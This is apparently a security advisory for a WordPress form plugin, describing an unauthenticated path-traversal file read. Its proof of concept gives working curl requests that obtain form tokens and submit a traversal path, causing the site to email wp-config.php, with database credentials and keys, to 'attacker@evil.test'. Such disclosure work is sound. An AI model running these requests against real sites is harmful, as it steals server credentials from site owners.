Bit Form < 3.1.0 – Unauthenticated Arbitrary File Read via Path Traversal | CVE 2026-13693

Description

The plugin does not restrict a form file-field value to a safe path before reading the file and attaching it to a notification email, allowing unauthenticated attackers to read arbitrary server files such as the WordPress configuration file.

Proof of Concept

Prerequisites (non-default admin config): a Bit Form form with (a) a file-upload field and (b) a mail notification / autoresponder that has that file field configured as an attachment and a recipient resolvable to an attacker-controlled address (e.g. an autoresponder emailing the submitter-provided address). Then, fully unauthenticated:

# 1. Fetch the form's CSRF / nonce tokens (unauthenticated)
curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php?action=bitforms_onload_added_field_and_property" \
  -H "Content-Type: application/json" --data '{"formId":1}'

# 2. Submit the form with a traversal path as the file-field value (top-level by field key)
curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=bitforms_submit_form" \
  --data-urlencode "bitforms_id=bitforms_1" \
  --data-urlencode "nonce=<nonce>" --data-urlencode "csrf=<csrf>" --data-urlencode "t_identity=<t_identity>" \
  --data-urlencode "<file-field-key>=../../../../../../wp-config.php" \
  --data-urlencode "<email-field-key>=attacker@evil.test"

# Result: the mail-notify workflow attaches and sends wp-config.php (containing the AUTH/SECURE_AUTH
# keys and DB credentials) to the recipient. On hosts without fastcgi_finish_request the same mail is
# delivered via the bitforms_trigger_workflow step (the report's 2-step chain).